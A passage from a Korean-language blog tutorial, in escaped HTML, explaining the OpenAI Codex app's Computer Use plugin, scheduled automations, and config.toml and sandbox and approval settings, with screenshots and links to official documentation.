&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size8&quot;&gt;Computer Use 플러그인은 macOS 전용이며, 출시 시점 기준 EEA(유럽경제지역)&amp;middot;영국&amp;middot;스위스에서는 사용할 수 없다. 사용하려면 macOS의 화면 기록(Screen Recording)과 손쉬운 사용(Accessibility) 권한이 필요하고, Codex 안에서도 앱별 허용 프롬프트를 별도로 승인한다. 해당 지역 사용자는 메뉴에서 비활성화로 표시될 수 있다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/app/computer-use&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Computer Use&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Computer Use를 켜야 하는 경우와 켜지 말아야 하는 경우&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;권장&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;로컬 웹앱 화면 확인&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;브라우저 사용 먼저&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;공식 문서는 로컬 웹앱 검증에는 in-app browser를 먼저 쓰라고 안내한다. 파일 변경과 화면 검증이 한 스레드 안에서 정리된다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;macOS 앱, 시뮬레이터, 로그인된 브라우저, 여러 앱을 오가는 흐름&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Computer Use 적합&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;명령줄이나 MCP로는 볼 수 없는 GUI 상태를 보고 클릭&amp;middot;입력&amp;middot;메뉴 이동을 해야 하기 때문이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;계정, 결제, 보안, 개인정보, 관리자 권한이 걸린 흐름&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;옆에서 직접 승인&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;화면 내용과 클릭 결과가 계정 상태에 영향을 줄 수 있다. 민감한 단계는 사용자가 직접 확인해야 한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;터미널 앱이나 Codex 앱 자체 조작&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;불가 / 부적합&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;실제 앱 검증에서 Codex 자체는 Computer Use 대상 앱으로 차단됐다. 터미널이나 Codex 자체를 대신 조작하게 만들면 기존 승인&amp;middot;샌드박스 정책을 우회할 수 있기 때문이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플러그인 vs MCP vs Skills&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;셋이 자주 헷갈린다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;플러그인은 OpenAI가 큐레이트한 GUI 확장&lt;/b&gt;으로 앱&amp;middot;스킬&amp;middot;MCP 서버 같은 구성요소를 묶어 설치한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP는 표준 프로토콜 서버&lt;/b&gt;로 사용자가 직접 호스팅하거나 외부 서버를 가져와 붙인다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Skills는 재사용 가능한 지침&amp;middot;워크플로우 묶음&lt;/b&gt;이라 코드/문서 형태로 공유된다. Skills 내부 구조는 이 글의 범위 밖이라 자세히 다루진 않으려 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 5: 자동화 ===== --&gt;
&lt;h2 id=&quot;automations&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 예약 채팅 자동화 &amp;mdash; Standalone vs Thread&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1464&quot; data-origin-height=&quot;1904&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vP05E/dJMcahxwzGw/1JyqdpXdIashLheioIcEv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vP05E/dJMcahxwzGw/1JyqdpXdIashLheioIcEv0/img.png&quot; data-alt=&quot;실제 화면: 자동화 메뉴 &amp;amp;mdash; Status reports / Release prep / Incidents &amp;amp;amp; triage / Code quality 4개 카테고리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vP05E/dJMcahxwzGw/1JyqdpXdIashLheioIcEv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvP05E%2FdJMcahxwzGw%2F1JyqdpXdIashLheioIcEv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;537&quot; height=&quot;698&quot; data-origin-width=&quot;1464&quot; data-origin-height=&quot;1904&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;실제 화면: 자동화 메뉴 &amp;mdash; Status reports / Release prep / Incidents &amp;amp; triage / Code quality 4개 카테고리&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Codex 앱의 자동화는 두 형태다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;둘은 동작 방식이 다르고, 화면에서도 분리되어 있다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/app/automations&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Automations&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600; width: 13.6047%;&quot;&gt;유형&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600; width: 34.6512%;&quot;&gt;동작&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600; width: 51.5116%;&quot;&gt;결과 보고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 13.6047%;&quot;&gt;&lt;b&gt;Standalone&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 34.6512%;&quot;&gt;독립 실행. 매번 새 컨텍스트로 시작한다.&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 51.5116%;&quot;&gt;Triage/Inbox(분류함)에 보고된다. 보고할 내용이 없으면 자동 보관될 수 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 13.6047%;&quot;&gt;&lt;b&gt;Thread&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 34.6512%;&quot;&gt;현재 스레드에 붙어 하트비트처럼 반복 웨이크업한다.&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 51.5116%;&quot;&gt;스레드 안에 메시지로 추가된다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GUI 4 카테고리와 예시 타일&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;자동화 화면 상단에는 4개 카테고리가 있다. 카테고리는 시작점일 뿐이고, 자유롭게 새 자동화를 만들 수도 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600; width: 19.186%;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600; width: 80.6977%;&quot;&gt;예시 타일 (화면 그대로)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 19.186%;&quot;&gt;&lt;b&gt;Status reports&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 80.6977%;&quot;&gt;&quot;스탠드업용으로 어제 Git 활동을 요약해줘&quot;, &quot;이번 주 PR&amp;middot;롤아웃&amp;middot;인시던트&amp;middot;리뷰를 종합해 주간 업데이트로 정리해줘&quot;, &quot;지난주 PR을 팀원별&amp;middot;주제별로 요약해주고 리스크를 강조해줘&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 19.186%;&quot;&gt;&lt;b&gt;Release prep&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 80.6977%;&quot;&gt;&quot;병합된 PR로 주간 릴리스 노트를 초안으로 작성해줘&quot;, &quot;태그를 달기 전에 변경 로그&amp;middot;마이그레이션&amp;middot;기능 플래그&amp;middot;테스트를 확인해줘&quot;, &quot;이번 주 하이라이트와 핵심 PR 링크를 반영해 변경 로그를 업데이트해줘&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 19.186%;&quot;&gt;&lt;b&gt;Incidents &amp;amp; triage&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 80.6977%;&quot;&gt;&quot;지난 CI 기간의 CI 실패와 플래키 테스트를 요약하고 우선 수정 사항을 제안해줘&quot;, &quot;CI 실패를 확인하고 가능한 근본 원인별로 묶은 다음 최소한의 수정안을 제안해줘&quot;, &quot;새 이슈를 분류하고 담당자&amp;middot;우선순위&amp;middot;라벨을 제안해줘&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 19.186%;&quot;&gt;&lt;b&gt;Code quality&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8; width: 80.6977%;&quot;&gt;테스트 커버리지&amp;middot;정적 분석 보고 등 코드 품질 지표(예시 타일은 환경에 따라 다르게 노출되므로 화면에서 직접 확인)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설정 방법&lt;/h3&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;자동화 화면에서 &lt;b&gt;새 자동화&lt;/b&gt;를 만든다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;스케줄(예: 매일 09:00) 지정. 커스텀 주기가 필요하면 cron 구문을 쓴다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;대상 프로젝트와 사용할 플러그인 선택.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;결과 보고 위치(Triage / 현재 스레드) 선택.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실행 위치 &amp;mdash; 로컬 프로젝트 vs 백그라운드 워크트리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;자동화를 만들 때 실행 위치를 선택할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;로컬 프로젝트&lt;/b&gt;는 현재 열려 있는 프로젝트 폴더에서 직접 실행한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;백그라운드 워크트리&lt;/b&gt;는 Git 저장소에 별도 워크트리를 만들어 돌리므로, 현재 작업 브랜치에 영향을 주지 않는다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;프로젝트 범위 자동화는 앱이 실행 중이고 선택한 프로젝트가 디스크에 있어야 안정적으로 동작한다. 정기 릴리스 노트&amp;middot;PR 요약처럼 메인 브랜치를 건드리지 않고 반복 실행해야 하는 자동화라면 백그라운드 워크트리 쪽이 안전하다. 자동화는 기본 샌드박스 설정을 사용하며, 조직 정책이 허용하면 &lt;code&gt;approval_policy = &quot;never&quot;&lt;/code&gt;로 실행될 수 있어 권한 설정을 보수적으로 잡는 편이 좋다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://developers.openai.com/codex/app/automations&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Automations&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 이미 기존 템플릿을 사용해볼 수 있고, 로컬 / worktree, 프로젝트, 주기 등을 임의로 설정해 보았다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;773&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/berJJr/dJMcadPlN43/6Nku4r3PtYs2kvafjAVmpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/berJJr/dJMcadPlN43/6Nku4r3PtYs2kvafjAVmpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/berJJr/dJMcadPlN43/6Nku4r3PtYs2kvafjAVmpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FberJJr%2FdJMcadPlN43%2F6Nku4r3PtYs2kvafjAVmpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;773&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;773&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 바로 실행도 가능하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1612&quot; data-origin-height=&quot;268&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z9o08/dJMcac30NiO/OKKRByiKk1nKi8ZBNQst4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z9o08/dJMcac30NiO/OKKRByiKk1nKi8ZBNQst4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z9o08/dJMcac30NiO/OKKRByiKk1nKi8ZBNQst4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz9o08%2FdJMcac30NiO%2FOKKRByiKk1nKi8ZBNQst4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1612&quot; height=&quot;268&quot; data-origin-width=&quot;1612&quot; data-origin-height=&quot;268&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;484&quot; data-origin-height=&quot;224&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTS0op/dJMcajotLjj/ILA8hjSAsZW7VuClW7fcY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTS0op/dJMcajotLjj/ILA8hjSAsZW7VuClW7fcY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTS0op/dJMcajotLjj/ILA8hjSAsZW7VuClW7fcY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTS0op%2FdJMcajotLjj%2FILA8hjSAsZW7VuClW7fcY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;242&quot; height=&quot;112&quot; data-origin-width=&quot;484&quot; data-origin-height=&quot;224&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1902&quot; data-origin-height=&quot;1556&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2JChi/dJMcagL93TG/BzlJEvHrpeE90w0W23ptUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2JChi/dJMcagL93TG/BzlJEvHrpeE90w0W23ptUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2JChi/dJMcagL93TG/BzlJEvHrpeE90w0W23ptUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2JChi%2FdJMcagL93TG%2FBzlJEvHrpeE90w0W23ptUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1902&quot; height=&quot;1556&quot; data-origin-width=&quot;1902&quot; data-origin-height=&quot;1556&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1464&quot; data-origin-height=&quot;1688&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHqoDa/dJMcaf7vAFW/HnKQ7qY1KAYiDZZC11mxlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHqoDa/dJMcaf7vAFW/HnKQ7qY1KAYiDZZC11mxlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHqoDa/dJMcaf7vAFW/HnKQ7qY1KAYiDZZC11mxlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHqoDa%2FdJMcaf7vAFW%2FHnKQ7qY1KAYiDZZC11mxlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1464&quot; height=&quot;1688&quot; data-origin-width=&quot;1464&quot; data-origin-height=&quot;1688&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 6: config.toml + 샌드박스 + 승인 정책 ===== --&gt;
&lt;h2 id=&quot;config&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. config.toml + 샌드박스 + 승인 정책&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Codex의 핵심은 &lt;code&gt;config.toml&lt;/code&gt; 한 파일이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;앱&amp;middot;CLI&amp;middot;IDE 확장이 같은 파일을 읽는다.&lt;/b&gt; 한 곳을 고치면 세 환경이 동시에 영향을 받는다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/config-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Config Reference&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;위치&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;경로&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;우선순위&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;사용자 레벨&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;~/.codex/config.toml&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;기본값&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;프로젝트 레벨&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;code&gt;.codex/config.toml&lt;/code&gt; (프로젝트 루트)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;신뢰된 프로젝트에서 사용자 레벨을 덮어쓴다. untrusted 프로젝트는 프로젝트 스코프 &lt;code&gt;.codex/&lt;/code&gt; 설정을 건너뛴다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;구성 화면 &amp;mdash; GUI에서 보이는 항목&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사이드바의 &lt;b&gt;구성&lt;/b&gt; 메뉴에는 다음 컨트롤이 있다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1310&quot; data-origin-height=&quot;1188&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lrmVa/dJMcad2TqdC/DdMaxVBMl3PKK0oJKUAhr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lrmVa/dJMcad2TqdC/DdMaxVBMl3PKK0oJKUAhr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lrmVa/dJMcad2TqdC/DdMaxVBMl3PKK0oJKUAhr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlrmVa%2FdJMcad2TqdC%2FDdMaxVBMl3PKK0oJKUAhr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;596&quot; height=&quot;540&quot; data-origin-width=&quot;1310&quot; data-origin-height=&quot;1188&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;사용자 지정 드롭다운&lt;/b&gt;: &lt;i&gt;사용자 설정&lt;/i&gt;이 기본. 워크스페이스나 프로젝트 단위 프로필을 선택할 수 있다.&lt;/li&gt;
